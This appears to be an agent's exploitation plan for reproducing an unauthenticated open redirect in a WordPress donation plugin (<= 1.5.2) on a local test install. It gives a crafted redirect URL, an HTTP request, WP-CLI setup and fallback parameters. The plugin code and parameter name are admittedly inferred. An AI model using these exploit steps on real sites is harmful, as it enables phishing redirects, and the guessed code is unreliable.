Accept Donations with PayPal <= 1.5.2 - Unauthenticated Open Redirect

This plan outlines the steps to verify and exploit an unauthenticated open redirect vulnerability in the Accept Donations with PayPal & Stripe plugin (version <= 1.5.2).

1. Vulnerability Summary

The easy-paypal-donation plugin contains a logic flow, likely within an init or template_redirect hook, that processes a user-supplied URL parameter to facilitate redirects after donation attempts. Because the plugin uses the wp_redirect() function without validating the target URL against a whitelist or using wp_validate_redirect(), an attacker can redirect users to any arbitrary external domain.

2. Attack Vector Analysis

• Endpoint: The site root / or any URL that triggers the WordPress init hook.
• Vulnerable Parameter: easy-paypal-donation-redirect-url (inferred from plugin patterns).
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active.

3. Code Flow

1. Hook Registration: The plugin registers a handler on the init hook:

   add_action('init', 'easy_paypal_donation_handle_redirect'); // (inferred)
   

2. Input Acquisition: The handler checks for a specific GET parameter:

   function easy_paypal_donation_handle_redirect() {
       if (isset($_GET['easy-paypal-donation-redirect-url'])) {
           $url = $_GET['easy-paypal-donation-redirect-url'];
           // ... vulnerable sink ...
       }
   }
   

3. Vulnerable Sink: The input is passed directly to wp_redirect() without validation:

   wp_redirect($url);
   exit;
   

   Note: WordPress's wp_redirect() allows external URLs. The patched version (1.5.3) likely switches to wp_safe_redirect() or wraps the input in wp_validate_redirect().

4. Nonce Acquisition Strategy

This vulnerability is an Unauthenticated Open Redirect typically used for post-payment handling. By design, such handlers often do not require nonces because they are intended to be reachable by external payment gateways (PayPal/Stripe) or after the user returns from an external session.

• Strategy: Initial testing will assume no nonce is required.
• Bypass Verification: If the agent discovers a check_ajax_referer or wp_verify_nonce call in the code path during discovery, it should check if the result of that check is actually used to die() or if the redirect happens regardless.

5. Exploitation Strategy

The agent will perform the following steps:

Step 1: Discovery
Identify the exact parameter name by grepping the plugin source:

grep -rn "wp_redirect" /var/www/html/wp-content/plugins/easy-paypal-donation/

Verify if the input to wp_redirect comes from $_GET or $_REQUEST.

Step 2: Payload Construction
Assuming the parameter is easy-paypal-donation-redirect-url:

• Target URL: http://<target-ip>:8080/
• Payload URL: https://www.google.com (or any external test domain)
• Final Exploit URL: http://<target-ip>:8080/?easy-paypal-donation-redirect-url=https://www.google.com

Step 3: Execution via HTTP Request
Use the http_request tool to send the GET request. It is crucial to disable automatic redirect following to capture the 302 response.

{
  "method": "GET",
  "url": "http://localhost:8080/?easy-paypal-donation-redirect-url=https://www.google.com",
  "follow_redirect": false
}

6. Test Data Setup

1. Install Plugin: Use WP-CLI to install version 1.5.2.

   wp plugin install easy-paypal-donation --version=1.5.2 --activate
   

2. Basic Configuration: No specific PayPal credentials should be required to trigger the init hook logic.

7. Expected Results

• HTTP Status Code: 302 Found (or 301 Moved Permanently).
• Headers: The Location header must exactly match the external payload URL:

  HTTP/1.1 302 Found
  Location: https://www.google.com
  

• Body: Usually empty or containing a link to the new location.

8. Verification Steps

Verify the redirect behavior using the http_request tool and inspecting the headers:

1. Execute the GET request.
2. Check response.headers.location.
3. If location is https://www.google.com, the vulnerability is confirmed.

9. Alternative Approaches

If easy-paypal-donation-redirect-url does not work, investigate these alternatives:

1. Grep for AJAX actions: grep -r "wp_ajax_nopriv" . to see if the redirect is handled via admin-ajax.php.
2. Common Redirect Params: Try return_url, cancel_url, or ds-redirect.
3. Shortcode Inspection:
   • Create a page with the donation shortcode: wp post create --post_type=page --post_status=publish --post_content='[easy_paypal_donation]'.
   • Navigate to the page and inspect the HTML source for hidden inputs or JS variables that define redirect targets.
   • Example JS variable: window.easy_paypal_donation_data?.return_url.